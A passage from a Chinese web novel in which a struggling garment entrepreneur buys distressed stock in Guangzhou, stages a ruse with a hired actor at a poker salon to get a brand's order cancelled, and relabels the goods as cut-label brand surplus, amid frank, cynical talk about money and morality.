《螺旋上升》 第118章 广州折叠 车子驶入停车场,老板招呼罗璇和小麻雀下车。 沿着一线城市的繁华街道走进去,斜忽里拐进一条小巷。此刻已是饭点,巷子两边全是湘菜,爆炒声传来,荤油味混着麻辣飘香。 一个非常年轻的女孩子倚着门站在理发店门口。 细细的吊带下,半裸着两颗沉甸甸的、饱满的乳房,漆黑的长发如瀑。她有一张因为婴儿肥而丰满的脸,长满雀斑,嘴唇也是丰满的。 这张丰满的嘴唇张了张,看向老板的眼睛亮了一下,像两个闪亮亮的灯泡。 老板对女孩子对视一眼,显然是认识的。 余光瞥到罗璇,老板慌忙皱眉转开目光。 那个女孩子看到了,什么都没说,只是似笑非笑地看着老板。 “这里就是广州最地道的湖南菜了。”老板转头掩饰着对罗璇说。 罗璇转过脸,和那个丰满美丽的女孩子对上眼神,女孩子看了看罗璇,又看了看老板,勾唇一笑,转身钻回房间。 老板带着两人穿过巷子,眼前光线骤然消失,几缕阳光费劲地穿透几乎贴在一起的楼,若是两人分别住在这两栋楼里,在窗前伸出手,就可相握—— 不不不,在窗前伸长脖子,就可以接吻。 什么握手楼,简直是亲嘴楼。 “嘴好亲吗。”小麻雀问。 “什么?”罗璇震惊。 “你叨出声了。”小麻雀撇嘴,“亲嘴亲嘴,你脑子里怎么全是这种事?” 罗璇一掌拍在小麻雀头上:“闭嘴!” 小麻雀“切”了声,问:“广州的市中心,怎么还有这样的地方?” “这里就是广州城的城中心。”老板说,“所以叫城中村嘛。” …… 城中村里,流浪猫狗成群结队地在缝隙中转悠。 经济不景气,到处都不开工,工人们走得走、散得散。有工人养了野猫野狗解闷,自己返乡了,也没想着带走,就那么随意地把猫儿狗儿抛弃在路边。 城中村的尽头,一条狗绝望地追逐在一辆远去的面包车后面,却只能眼睁睁地看着距离越来越远。终于,那辆面包车拐了个弯,消失在远处。 罗璇注视着黄狗狂叫几声,卧倒在路边。 老板带着罗璇和小麻雀走进狭窄的居民楼,沿着老旧楼梯爬上去,每一层都是起此彼伏轧衣服的声音。透过栏杆门,罗璇注意到,二十平米的地方,足足挤了十几个埋头苦干的工人。 爬到三楼,老板拐进去:“三四五楼都是我的。” 说是工厂,又没有地皮和正儿八经的厂房。但若说是小作坊呢,这里的流水却是惊人的。 如今做不下去了,连货带机器一块出清。 “要机器吗?” “不用。”罗璇说。 爬到六楼,发现上面加盖了三层违章建筑,一层用作仓库,两层拿来住人。一层约80平米,足足放下6架上下铺,能住12个人。 “知道什么叫实业吗。”罗璇实在是没忍住,和小麻雀咬耳朵,“实业就是极致的实用主义,超乎极限的资源利用。什么都是虚的,只有务实,一分一厘地抠,才能赚到钱。” 简直就像把一整个村子的农民用铲子连带着地皮铲起来,平移到广州,然后四面折叠——最终装进小小的水泥盒子中。 “这就是广州折叠啊……你怎么了?”罗璇奇道。 小麻雀牙齿战战:“如果轧衣服就过这种日子,我还不如去学校里念书!” 罗璇正欣慰于孺子可教,老板回头说:“这里的工人,手脚麻利的,一个月能赚一万多。” 一万多! 罗璇看着小麻雀的脸亮了。 “但都是青春饭,趁着年轻能干,一天12个小时打底。”老板摇头,“干不了几年,颈椎,眼睛,喉咙,腰椎,哪哪都不行了。” 罗璇看着小麻雀的脸暗淡下去。 “但确实赚得多,用青春换回老家盖房子,也划算。”老板说。 罗璇看到小麻雀的脸又亮了。 “但好日子结束啦,跟做梦似的,以后可没这样的好事啦。”老板最后感慨。 罗璇听到小麻雀叹气:“唉,生晚了。” …… 货堆在仓库里,却没什么灰,摆得整整齐齐干干净净。 老板娘抬起头。罗璇注意到她非常瘦,乳房像萌芽的种子,嘴唇薄得几乎看不见。一张细细的瓜子脸,眼窝深陷,嵌着两颗大眼睛,笑起来有些淡淡的、疲惫的皱纹。 她头发不算多,简单地在脑后束成薄薄的辫子。 老板娘带着罗璇翻存货。 “你们家主要做裤子的?”罗璇虽然带着祝胜男的任务来,但该问的也得问清楚。 “是。我是潮汕人,从新塘嫁过来。新塘是世界牛仔裤之都。”即使在局促的仓库里,老板娘也要在塑料凳上给罗璇泡茶,动作麻利。 潮汕女人大名鼎鼎,生得美,吃不胖,又能干,管家理财一把好手。 美名当然好,可美名一定是用辛勤劳动换来的。 罗璇看着她弯腰忙碌,清瘦的背影,随便束起薄薄的头发。不知怎的,她想到那个城中村的年轻女孩,那把厚重的漆黑长发,那对沉甸甸的、丰满的乳房,和她看向老板那缠绵的有如实质的目光。 她是一颗甜美的果子。 她曾经是一颗甜美的果子。 老板娘继续说:“我娘家就在增城新塘做牛仔裤,现在在沙园做单,用的还是娘家请的版师,所以我家的裤子质量,在沙园这片,就是最靓最正的。” 罗璇什么都没说,重新打量眼前堆成小山的裤子。 增城是个工业区,离广州不算远,汽车零配件、摩托零配件和服装纺织是增城的三大支柱产业,而新塘牛仔裤,又是支柱中的支柱。 中国人多,竞争激烈。新塘牛仔裤整体水平发达,工人的技术自然高超。 “现在不好做呀,哎。”老板娘轻轻叹,“05年到现在,都没什么利润,我就说干脆算了,不在沙园做了,回新塘去。” “之前怎么不在新塘做?” “你知道韩国东大门吗?” “我知道!”小麻雀激动地跳起来,“时尚圣地,潮流前线……” “东大门的衣服就在我们沙园这片做。”老板娘说,“韩国客人拿版过来,我们照版生产。说句实在的,国内设计和打版的确差点意思,韩国的版确实好看,又好卖。这两年韩凤流行,我们的货也好出。” “是呀是呀,韩版好看的!”小麻雀急得一连叠声,“少女时代那么火,你就卖少女时代同款,肯定能赚钱!” “经济不好,韩国客人破产了,周转不过来,这批货没钱结,这批货就砸我们手里了。上批货的钱也还没结,上上批还拖着我们30%的尾款,肯定也还不上。”老板娘叹了口气,“罗老板,你看我们这种地方,怎么可能借得到银行贷款?借了点高利贷,结果身家全填进去了。我就说,算了,总得留套房子吧。” 小麻雀插嘴:“怎么不自己去卖呢。” “我们不做零售,批发渠道也要钱维护。”老板娘说得很实在,“去另找销路呢,说实话,比我清货处理的的成本都高。” “反正做生意就这样,好了坏,坏了好。”老板娘最后摇着头总结,“我家不是货不好,单纯就是运气差。我多拆点样衣给你看看,我家的货都很良心,版好,质量好,样子也时髦。东大门小脚裤,你觉得能拿,就多拿些。” 又是小脚裤。 罗璇看了看自己腿上的直筒牛仔裤,又想起罗桑县那些丝绒喇叭裤的订单。 “喇叭裤怎么样。”罗璇蹲在地上看样衣,跟老板娘闲聊,“丝绒运动服套装,你知道吗?希尔顿大小姐带火的那套。” “也就这一两年,肯定过时。”老板娘说,“你现在生产,肯定是明年春款。明年谁还穿喇叭裤?都穿小脚裤了。” 罗璇又看了眼小麻雀,小麻雀正两眼放光地看着那些小脚裤。 小女孩今天又化了浓妆,睫毛刷得像苍蝇腿,在下眼睑处晕出两个黑眼圈。 但话又说回来,这么点大的小女孩,反而是最计较“过时”“时髦”的年纪。 手机一响。 是罗桑县借用工厂的同学的短信:“你妈又来闹,你在哪?” 罗璇深呼吸。 第119章 夹板气&资源对缝 罗璇租的工厂还在停产状态中。 林招娣提的条件,罗璇一条都不想答应。结果老豹的手段也很粗暴,只要傅军带着人开工,他们就砸设备。 一来二去,傅军也急了。 还没等罗璇回复同学信息,傅军的夺命连环电话杀到:“我们之前谈好计件收费的,现在什么情况,一件都没得做?如果你这边不做了,我就去找下家。” “要做的要做的。”罗璇坐直身体,“你再给我点时间!” “我能耗,我兄弟们耗不起。体谅一下啦罗老板,我们手停口停,怎么能把时间干耗在你这里。” “你再给我点时间!物流也要时间成本的啊!” “五天。五天你再不开工,我们就去别处填饱肚子。”傅军火气很大地按掉电话。 罗璇好不容易做了罗老板,没想到做老板就是受不完的两头夹板气。 她喝了杯茶,又喝了杯茶,心里燥得静不下来。 生意的事,是钱的事,但也不仅仅是钱的事,更是人的事。做生意讲究一个人气,捧场捧场,人气旺很重要。 这次如果做不成,亏钱还是小事,以后拢不起人,才最要命。 手下没兵的将军,算什么将军? 罗璇一杯接着一杯喝茶,心里急得团团转,接连上了四趟厕所,蹲在女厕所坑位上也没闲着,很焦虑地翻手机通讯录,试图从绝望中找到点法子。 罗璇的目光落在“王悠然”三个字上,心中一个大胆的想法逐渐成型。 …… 罗璇想清楚了,一咬牙,直接站起身,找了个僻静角落,开始拨电话。 第一个电话,拨给关系王。 还没等关系王开口,罗璇劈头盖脸就是:“你手上还有多少钱?” 关系王刚要开口,罗璇接着问:“我要借钱,利息算你10个点,你最多能借我多少?” …… 第二个电话,罗璇拨给罗琦。 “王悠然,那个话剧演员。你和他,和他老婆,还有联系吗。”她的声音异常地冷静,“我要找他办事。” 罗琦立刻说:“我和他打声招呼。你什么事?” 罗璇注视着握手楼破破烂烂的外墙,和因为潮湿而渗水剥落的墙面:“让他们找个英语好的同事,来扮演国外留学的服装设计师。价钱好谈。” …… 第三个电话,罗璇打电话给Cythnia。 电话一接通,罗璇立刻问:“Cythnia,我要伪装成刚出国考察回来,你快快告诉我国外设计院校和设计类工作室的地点和细节。” Cythnia奇道:“你不去把辅料弄明白,把郎峰的订单补上,你在这里练习草人设?” 罗璇郑重地说:“Cythnia,拜托你攒个德州扑克局,把郎峰请过来,再多拉些留学生朋友。” …… 刚挂断电话,手机又响了。 咣咣咣咣,是命运的旋律。 关系王打电话过来,痛心疾首:“姑奶奶,祖宗,你炒股炒红了眼,不是要补仓吧?别补啦,醒醒吧,我看着这A股就是缅A,它迟早要完呐!” 罗璇说:“50万。我要进货。你借不借我?” “我借你个鬼!”关系王拔高声音,“你以为你是小说女主呢,你还得起吗!我告诉你,我关系王是搞价值投资的!” “你都套进去了你跟我谈价值——” “——那是因为A股它不讲武德,它没有价值——” “10个点利息。” 关系王咽了口口水。 “20个点利息。” “我借!”关系王脱口而出,“你别反悔!” “50万,你打我银行卡。”罗璇说。 “呸,还50万,做梦吧你,5000块。” “5000太少了!”罗璇失声,“5000够干什么!” “呦呦呦呦呦——你还抖起来了!还5000够干什么,我问你,你能掏得出5000?你掏一个我看看?” 罗璇掏不出,罗璇心梗。 “5000太少了,8万。” “你也配。就5000,没商量。” “你录音还在我手里——” “这就是你不讲武德了!”关系王恼怒道,“别以为我不知道你的裤兜比我的脸还干净——对,你脸脏——我能借你5000,已经是价值投资,长线押注你的未来!” “什么未来?” “上班啊,当个小白领。不然嘞。” 罗璇气了个倒仰:“我就不能当红星厂厂长?我呸!” 罗璇以为关系王会反驳,谁料关系王沉默了。 “只要你想通了、真打算去抢红星厂。”关系王的声音罕见地清晰,“我就借你5万,利息3个点。” “……啊?” “没错,我不要你20点的利息。但我有其他要求。” “要我的项上人头吗,拿去。” “呸,你当你是范冰冰。我要和你签一份协议——如果你能成功抢到红星厂,届时,红星厂相关的‘资源对缝’,你必须优先给我做。” “资源对缝?倒买倒卖信息,促成合作,然后你从中抽水?” “没错。我要独家优先权。” 第120章 入局 罗璇借到了关系王的5万元,很潇洒地下了46666的定金,在沙园预订了全部的货。 省下一些钱,留作回家的路费。 她当然不说自己没钱:“讨个好口彩。笑口常开,好彩自然来~” “您真讲究。”老板娘笑,“难怪这么年轻,生意做这么大,能和祝总交朋友。” 罗璇笑得心虚。 交易成了,老板作为东,请罗璇去中大吃海鲜。 进了饭店,老板掏出自带的普洱,变戏法一样从车子后备箱里提出两桶水:“我开车去接的山泉水!泡茶刚刚好!” 等进了包厢,服务员送上纸巾:“一块钱一包。” 老板娘坚决地把纸巾退给服务员,从包里掏出两包没拆过的纸巾:“用我们自己的。” 罗璇看向老板。老板正看向手机短信,脸上露出暧昧的笑,转瞬即逝。他收了手机,面色又恢复正经。 众人坐下,用茶水洗碟洗碗。 罗璇心不在焉地洗着,看了看老板——他又在发短信。罗璇想起那个丰满水灵的年轻女孩,想起两人之间的眉眼官司。 老板注意罗璇的目光,把手机倒扣在桌面上:“小罗总,去看看生猛海鲜?” 罗璇站起身,跟着老板走到包厢外面。 玻璃箱里的虾生猛又活蹦乱跳地蹦着、撞着,怎么都跳不出那玻璃缸,罗璇一时间想到千方百计的自身,想到即将实施的骗局,想到自己也成了做样子给人看的人,顿时心有戚戚。 等白灼虾上了,罗璇咬了一口,瞬间把什么心有戚戚抛到了脑后。 她上桌吃菜,不亦乐乎。 …… 罗旋请Cythnia攒局,Cythnia很快就牵线搭桥,并很不客气地抽了罗璇未来利润10个点的茶水费。 罗璇再次来到古北别墅区。 上次为了拿到草原服饰郎峰的订单,她连夜学了德州扑克,跑来这里,和一众人马打牌。 区别是,上次来参加这场牌局,她最多是个添头; 而这次,Cythnia作为引荐人,把罗璇介绍给了局头。 “她是Evelyn,这里的局头。”Cythnia指着清秀的女孩子对罗璇说。她又转过头,对着Evelyn说:“罗璇,我的朋友,是草原服饰郎峰的合作商。她还需要验资吗?” Evelyn娇嗔:“你亲自引荐的人,还用得着那些?常来往啊。” 罗璇乖觉:“我很爱玩的。” Evelyn抿嘴笑。她有一张圆里带尖的雪白脸,圆而大的眼睛,柔和的嘴唇,黑色的长直发披散,笑起来像一只小白兔。 三人坐在一起聊天。 Cythnia从前被家里送去英国读书,书读得如何,不得而知,倒是把伦敦摸得透透的,又交了一大堆酒肉朋友。 Evelyn就是其中一个酒肉朋友。 她是珊瑚集团合作商的孩子,家里专做整经机的配件生意,7个孩子,6女1男。在Cythnia毕业前夕,Evelyn家破产了,老爹两手一摊,告诉她,家里只剩一点点老底,要留给她弟弟,剩下的女儿们已经享受这么久,他已经尽到义务。 Evelyn问,那我怎么办? 老爹说,只能断供,剩下的路就靠你自己了。 彼时,Evelyn好不容易抓牢一个富二代男朋友,日日开保时捷接送她上下学。常言道,倒驴不倒架,破产的Evelyn当然也可以回国,但人走茶凉,回国了,男友怎么办? 伦敦是个花花世界。Evelyn天天盯着男友,男友尚且一个月出轨三次,她可不认为富二代男友会老老实实地等她。 Evelyn坐在沙发上,仰头吐烟,雪白的小脸抿出两个小酒窝:“回国对着一群穷鬼,能嫁给什么好人家?我是绝对不甘心的。” Cythnia的小圈子里,男男女女经常混在一块玩,不过吃饭打牌喝酒蹦迪。Evelyn渐渐就把目光放在打牌上。 Evelyn的富二代男友惯性出轨,只是这次,Evelyn没有再忍,而是捉奸在床。 男友的出轨对象居然是自己上司的老婆。为了保守秘密,男友只好给了她一笔丰厚的封口费。 男友要分手,Evelyn要求对方送自己一套公寓作为分手费,但男友不同意。于是Evelyn跑去上司家门口装偶遇,把男友吓得半死。 公寓没拿到,但Evelyn获得了厚厚的分手费。 Evelyn重新租了个两室一厅的公寓,自己住一间,另一件低价租给一个没什么钱的小中产留学生,姜姜。 原因当然不是和那“穷酸味”的小中产留学生交朋友。 借着之前的圈子,Evelyn渐渐把牌局拉了过来,自己忙不过来,又姜姜帮忙,端茶送水。牌局是赌钱的,赌的数额不算少,Evelyn很小心地从中抽些茶水费,渐渐做大了,又慢慢开始做资源对缝的工作,久而久之,居然做成了专业局头。 只是毕竟灰色产业,风险大。 但就如Evelyn所说,这世上赚钱的生意,就没有非黑即白的。你去报纸上翻翻,那些出了名的大人物,那个不搞灰色? “只不过,有些人搞灰色,有人洗;有些人搞灰色,会被抓。区别就在于搞得够不够大。只要规模够大,抓住一个好靠山,灰的也能漂成白的。”Evelyn窝在沙发里说。 “后来被我被人举报。”Evelyn吐出一口烟,调侃,“不就因为我没个好爸爸么。” “话说,你知道小J后来怎样了吗。”Cythnia问。 小J是Evelyn的富二代男友。 “不知道,没再联系过。”Evelyn摇头,“可能被我讹出心理阴影了。” Cythnia说:“他家倒了,他和他爸,都变成老赖,现在躲在日本不敢回国呢。” Evelyn倒没觉得怎样:“他家公司倒了,但他的生活还不是继续花天酒地。反正他亏公司的钱,又不是亏自己的钱。公司欠国内的钱几十个亿,他家反正没打算还。” 罗璇忍不住问:“那他们不还,这钱,谁还啊?” Cythnia似是觉得好笑,哈哈笑了:“谁还?你还,我还,他还,她还。”她随意往外一指,“用大街上那些人的工资还,用你们罗桑县大大小小工厂缴纳的‘机头税’去还。谁老实、谁规矩、谁听话、谁还在乎其他人,就由谁去还。” 她喝了些酒,堪称活色生香,妩媚地把波浪卷发别到颈侧,笑出一点点眼泪。 “但也无所谓了。”Evelyn注视着袅袅的烟雾,双眼带着笑意,“赚了钱才是真的。” “只有钱是真的。”Cythnia抹了把眼睛,笑着着吸烟,仰起头,把烟雾吐到天上去,然后靠在沙发上,“这个世界就是这样的。” 第121章 做局 罗璇坐在旁边闻二手烟,时不时跟着讲两句话。 按Cythnia的说法,既然Evelyn是她的朋友,罗璇也是她的朋友,那么朋友的朋友就是朋友,罗璇和Evelyn相识也是正常的。 Cythnia从不骗人,Cythnia只是有选择地给出事情真相。 罗璇渐渐听明白。 Evelyn因为组织赌博,在英国被人举报,被罚了好大一笔款,把这些年的积蓄全赔光又借了些钱,才没蹲局子。 出来后,很快就被英国驱逐出境,消沉地回了国。 回国后,Evelyn才发现,亲爹说得凄惨,又是亏钱,又是破产,其实悄悄练了好几个“小号”——养了好几个私生子在国外,个个都比自己过得好。 虽然Evelyn早就知道老爹靠不住,但事情的真相肮脏成这样,也是令她备受打击。 “……爹有钱不如娘有钱。”罗璇深有同感,“我亲爹也在外面练了个小号。” “现在习惯了。”Evelyn很平静:“回国后才发现,那些叔叔们,各个都在外面练小号。” 消沉的Evelyn参加了家里安排的若干场相亲,谈了几次恋爱后,终于受不了伺候贵妇婆婆,也没办法忍受手心朝上的日子。 等到Cythnia这群人都回了国,她重操旧业,牌局渐渐红火起来。 只是这次不再贪急,只做熟客生意,搞会员推荐制,还要验资来设置准入门槛。 赚了些钱,又高价从老爹手里“租”了一套房产,装修成会所。 Cythnia皱眉:“你给你老爹租金,你老爹也是拿给外头的。你何苦便宜了外面的小号。” Evelyn的圆眼睛弯了弯,笑得无辜:“这套房子落在我爹私生子名下。要是我出了事,我爹不保我,他儿子就得喝一壶。” “再说了。”Evelyn眨眨眼,“知道什么叫拖账期吗?他让我给,我就给?他哭穷,我就不会哭穷?” 门铃响了,Evelyn抚掌笑着起身,前去开门。 …… 草原服饰老总郎峰站在门口。 他今天依旧穿各种材质不同的黑色,组合起来,错落有致。看见Evelyn,他张开双臂,两人拥抱。 郎峰的手在Evelyn背后轻轻抚摸。 罗璇看了眼Evelyn,又看了眼Cythnia。似是眼中的震惊太过强烈,Cythnia悄声解释了句: “Stuationship而已。” 罗璇一下子接受了太多文化冲击,稀里糊涂地重复:“S……这是什么关系?” “有关系又没关系。有亲密,有性,没承诺,没界定。” 这是什么薛定谔的关系,罗璇试图理解,但最终决定放弃理解。 “那她图什么啊?” “Evelyn自己攒赌局,做这样的灰色产业,愿意给她承诺的男人,帮不上她;能帮上她的男人,不可能给她承诺。婚姻,婚外的稳定关系,都不可能。”Cythnia轻轻说,“爱不爱的——只有钱才是真的。” 罗璇大致懂了,又不太懂:“那男人又图个什么呢?” 两人看着郎峰和Evelyn。 “图一种活着的感觉吧。”Cythnia说,“活着,青春,生命力、自信……都是感觉。” “那爱算什么,有什么意义。” “本来也没意义。你想要利益,你爱的就是利益。你想要感觉,爱的就是自己的感觉。说白了,每个人爱的都是自己投射在别人身上的影子。”Cythnia平静地说,“像我妈那样相信爱情,只会变成一个傻逼。但凡她脑子里没那么多水,早早踹断我爸的子孙根,我现在的日子会好过得多。” “只有钱才是真的。”她重复。 钱。 罗璇心想,她此刻的债务早已火烧屁股,再不解决问题,她不能帮Cythnia赚钱,很快就会变成一块用过的卫生巾,被Cythnia狠狠甩开。 罗璇还听懂了一件事: Evelyn和郎峰的关系比朋友更亲近些,Cythnia找她帮忙,自己成功的几率要大不少。 难怪事成后要抽利润的十个点茶水费。 这样的代价也是值得的。 “物超所值好吧。”Cythnia不耐烦地四下环顾,“你找的那个小演员,怎么还迟到了?” 罗璇悄声说:“Evelyn说,让她迟到半个小时来,看起来自然。” …… 郎峰见到罗璇,正要开口,Evelyn似笑非笑地把他拉开,扶着他的胳膊说:“你来我这和人聊工作,以后谁还敢来我这打牌?” 郎峰的眼睛在自己胳膊上的小手上打了个转。 这样精明的人,居然立刻笑着闭嘴。 荷官姜姜发牌。 德州扑克一圈一圈地打下去,半个小时后,门铃响了。 Evelyn起身开门,转头笑着对众人说:“我朋友,圣马丁毕业的服装设计师,一直在韩国做买手,最近回国探亲。” 门拉开,罗璇抬头去看,立刻在心中喝了声暗彩,这辈子看过的所有韩剧从脑子里转了一遍后,变成了眼前女生的模样。 恰好在这时,王悠然的短信进来:“小金表现得怎么样?” “绝了,真是绝了。”罗璇急忙回复,“你们专业的演员就是不一样,她怎么看都是韩国人嘛!” 王悠然回复得很快:“她就是朝鲜族,我们是专业的。你满意就好。” 罗璇回复:“真的很专业!” 罗璇放下手机,看着Eveyln把她介绍给郎峰:“……郎总也是设计师,你们应该有很多共同话题。” 小金三分疏离两分傲气五分温和地坐在郎峰身边,几场牌局下来,两人轻声聊天。 罗璇紧张地喝水。 她确实写了很多服装行业的话术给小金,但小金万一露馅了怎么办? 很快,Evelyn对上了罗璇的目光,善解人意地加入了两人对话。 中间休息的时候,郎峰出去抽烟,小金也跟了过去。隔着玻璃门,罗璇注意到两人聊得十分投契。 牌局打完,Evelyn一一安排车送人回去,独独留下郎峰。 众人默契地什么都没问。 罗璇送小金回去。 Evelyn发短信过来:“演得挺成功。” 罗璇这才长长舒了口气。 “他问我现在韩国流行什么,什么好卖,价格怎么样,我按照你给我的话术讲了。”小金说,“我也反复强调,直筒裤必然过时,如果大规模生产出来,必然会滞销,就算渠道拿了货,最后退货率也要高达70%。” 这段话术是罗璇搜肠刮肚熬了两个通宵才写出来的。 “那他怎么说。”罗璇紧张起来,“有提到他的货吗。” “他没提。” 罗璇深吸一口气。她已经把能做的都做了,实在不行…… 实在不行她就真的只能破产了啊! 她得从清朝开始打工才能还清债务吧!! 第122章 店大欺客&理想主义者的衰亡 郎峰的电话是在深夜打过来的。 罗璇从床上一骨碌坐起来,正准备秒接,想了想,忍住了。 电话响了十声,挂断了。 罗璇坐在床上,盯着电话看,几乎把电话烧了个窟窿。 电话再次响起来。 罗璇等电话响了五声才接,很做作地惊讶状:“哎呀,郎总,半夜来电话,有什么急事吗?” 郎峰直接说:“小罗总,我要停单。” 罗璇心想事成,无声地欢呼并砸床——耶! “您这是什么意思。”罗璇冷静了声音,很做作地质问,“这几天就要交货了,您说停单是什么意思。” “这批直筒裤我不想做了。”郎峰倒是坦诚,“我刚和设计师开完会。小金说得对,直筒裤流行不了几年,草原服饰是轻资产运营,到时候退货率太高,我们仓储也要成本。” 罗璇说:“郎总,我们仓储也要成本。” “小罗总,你换个角度思考问题。”郎峰很狡猾地说,“你报个成本价,我给你结50%的款,这批货你找谁清出去都行,咱俩是双赢的。” 人就是不能要脸,不要脸才能赚到钱。 “这哪里双赢了?”罗璇这下是真有点生气。如果货真的做出来又停单,还只给结50%的货款,这不是店大欺客吗? 品牌把风险全都转移到工厂身上? 只恨自己是家小工厂,真对上草原服饰,还真只有店大欺客的份。 哦,不对。店大欺客才是默认的行规。 “我倒不是在乎这些钱,我只想感受到你的诚意,你就给我点特殊服务嘛。我们是朋友,是哥们。”郎峰说,“草原服饰是大品牌,有腔调,不差你这点钱,我别的单还找你。” 你明明就算计这点钱,你看这张饼又大又圆—— 罗璇半晌没说话。她当然知道世界就这样,但遭遇爆锤的时候,还会觉得自己像条狗。 但好在,这件事里,她也不算什么好人。 想到此,罗璇心平气和地说:“郎总,既然您说筒裤注定要过时,那您打算换什么款呢?我已经把您的货备出来了,仓储也要成本的。要么您这个单,我吃下了,改一改,借着您的牌子拿出去卖。我给你算个成本价,70%折旧,意思是您只要给30%的尾款,这样可以吗。” “小罗总,我这是帮你呢。”郎峰笑了,“草原服饰的品牌可非常值钱的,你稍微意思意思,少给我点品牌费。” 他妈的还是低估了这些商人的厚颜无耻程度——罗璇咬牙切齿。 “真不行,真不行,那您也不能把全部成本都让我包了,我生意也难做呀。”罗璇急忙告饶,“这件事,我也是在替您想解决方法,您不念我的功劳,也念我的苦劳吧。” 他妈的当白领的时候何曾如此小意逢迎过——罗璇继续咬牙切齿。 但旋即一想,其实她压根一件货都没做出来。 只能说狐狸斗狐狸,狗咬狗。 郎峰说:“那我的订金就不追究了。尾款,给你结10%。草原服饰是大品牌,品牌溢价够你赚一笔了。” 罗璇讨价还价:“20%。我们还要花钱拓展销售渠道,这笔品牌溢价填进去也未必够。” 郎峰一锤定音:“15%。” “行。” “小罗总做生意敞亮,人也上道。”郎峰哈哈笑,“改天一起喝茶。” 罗璇挂了电话,躺在床上。 几秒种后,她猛地从床上做起来,怒砸床板: “这都是些什么人啊!” 罗璇又躺下。 几秒钟后,罗璇再次从床上弹起来,洋洋得意: “但我也不是什么好人呐!” 罗璇躺在床上。 她睡不着觉,瞪着眼睛,把整件事情的来龙去脉想了又想,突然发现,如果自己真把整批货做出来,自己肯定舍不得这么让利,就算让了,也注定被坑,顿时冒了一身冷汗。 她再次从床上弹起来:“他妈的我要是个好人,我不就亏钱了吗?!” 房间里冷冷清清,她的声音回荡在屋子里。 罗璇立刻打电话给关系王,也不管关系王睡没睡,直接问:“这件事情里,如果我没耍心眼,我会不会被郎峰坑?” “他没坑你,他犯不上坑你,他就是单纯欺负你。店大欺客知道吗。”关系王不耐烦地说,“你这点钱,还不值得他专门坑你。” “他凭什么啊?!” “就凭他店大,而你是个小生意人。就这事?!神经病!我挂了。” “等等!”罗璇喊住他,“那我还要和郎峰合作下去吗?” “你还真是神经病啊?他给钱,他是大老板,你有钱赚,你干嘛不合作?” 或许是深夜,又或许关系王足够亲近,罗璇吞吞吐吐,说出心里话:“……我觉得有点伤心。我要撒谎骗人,仅仅只没亏钱。我本不想这么做。” “你读书读多了,被洗脑了。”关系王干脆利落地说,“你想想,写教材的那些人,要么家里有钱,要么自己在学校里过了一辈子,总之大部分没吃过社会的苦也没吃过生活的苦,天天待在象牙塔里,写些理想主义的东西给你看,然后你学了十几年,深信不疑。” “理想主义不是坏事。” “理想主义是那些人对社会的憧憬,就和共产主义一样,此时此刻成不了真。你现在把自己的钱跟人共产一个试试?” 关系王的话就像泥石流,罗璇好像一下子懂了很多,可紧接着,她又绝望地发现,这下子,她不懂的更多了。 从学校到职场,从职场到做生意,罗璇觉得自己怎么选都是错,怎么做都不如意十之八九。 她说了,关系王不耐烦地拔高声音:“你在想什么,大半夜的,你不如想想怎么挣钱,祖宗,你欠我5万块,记得吗?” 他干脆利落地挂断电话。 罗璇被关系王骂了一顿,反而舒服多了。她倒在床上,很快就陷入了梦乡。 半梦半醒的时候,她感觉如释重负,当夜的阴霾渐渐落下,覆盖上她的眼睑,她只觉得一切都容易许多。 第123章 人不要脸,能赚大钱 第二天一早,广州沙园的老板娘打电话过来,通知她收货。 “怎么说?”傅军打电话过来,“今天有没有活,没活我们散了。” “有活!”罗璇急忙说。 傅军狐疑:“你哪来的活?工厂还被老豹他们占着,你怎么干,去哪干?” 罗璇嘿嘿笑了两声。 …… 罗璇拨电话给关系王,电话刚一接通,关系王就不客气地说:“我好忙,没空安慰你那点小矫情。” “没有没有。”罗璇厚着脸皮问:“能不能借你的仓库一用。” 关系王惊愕:“仓库?” 罗璇熟练地把脸丢到一边去:“是啊,你的仓库。我自备桌椅缝纫机,放心,仅仅两套。” 关系王震惊:“我仓库里就有缝纫机,但你什么都没有,去我那小仓库,能做什么?” 顿了顿,关系王又狐疑地问:“什么叫借,你不打算给我钱,对吗。” “我们是好兄弟,哥们。”罗璇把郎峰的精神发扬光大,“我也不是为了省点钱,我就想你给我点特殊服务。” 关系王的声音震惊而震撼:“你这么快就学坏了?” 罗璇又嘿嘿笑道:“我能赚到钱,才能还你钱嘛。我这也是替你解决问题,我们是双赢的。” “罗璇,你看看你现在的嘴脸,啧啧。你是个政治家吗,把理想外包给别人?你谈理想,大家为你买单?”关系王深沉道,“但也是好事。” “什么好事?” “人就不能要脸,不要脸能做大事,赚大钱。”关系王深沉地说。 郎峰已经把草原服饰的品牌贴布辅料寄到了罗桑县。又过了半天,沙园的货也到了,罗璇毫不客气地喊傅军帮自己卸货,指着地上的裤子对傅军说:“就是这些。” 傅军有些糊涂:“你究竟要我做什么?罗璇,你究竟要做什么?” 罗璇又指了指另一堆草原服饰的品牌贴布:“贴牌啊,把草原服饰的商标给我缝在这批沙园裤子上!” 傅军蹲下去,拆了几条,转圈看了看:“版型很好。” “当然好了。”罗璇叉着腰,心满意足地转了圈,指着裤子说,“你看这个布料,柔软又速干,我认为可以在运动的时候穿。” “嗤。”傅军站起身,伸手就要去拿罗璇手里的裤子,“不可能运动的时候穿,你太牵强了。” “这叫运动休闲。”罗璇一把拍开傅军的手,爱怜地摸了摸裤子,“尊重些,这可是我家的样板货,今年的拳头产品。” 傅军的手僵在半空中,惊愕地看着罗璇。 罗璇继续爱怜地摸裤子:“毕竟这些裤子,都是我小罗总做的。 “什么意思。”只有跟在傅军身边的小麻雀懵懵懂懂,睁大眼睛,看了看罗璇,又看了看地上的货:“这些不是沙园的货嘛?怎么就成你做的了?” “英雄不问出处嘛。”罗璇厚颜无耻地抓着裤子欣赏,“之前,不是我做的。以后,它们可就是了。” 傅军和小麻雀齐齐沉默。 良久,傅军拍了下小麻雀的脑袋:“你看看人家读书人,真不要脸,你学着点——” …… 坐在关系王的小仓库里,傅军带着小麻雀缝了500条中码裤子的牌。 小麻雀手脚麻利,做事不比傅军慢,两人一下子就弄好。 小麻雀喊了罗璇,指着地上堆成小山的裤子:“只缝这么点?” 罗璇丢给她一把剪刀:“现在,把缝好的牌子从中剪断。” “什么?”小麻雀气得把裤子一推,“你耍我?!我辛辛苦苦刚缝完——” 傅军按住小麻雀,看向罗璇的眼神里,有点欣赏。 “学着点。”他轻声说,“这叫剪标货,品牌尾单。” …… “我不明白。”小麻雀说,“为什么要剪断。” “为了贱价大甩卖。” “多赚点钱不好吗?” “这你就不懂了。这叫用户心理学。” “那我们现在去哪?” “去夜市,摆摊。” …… 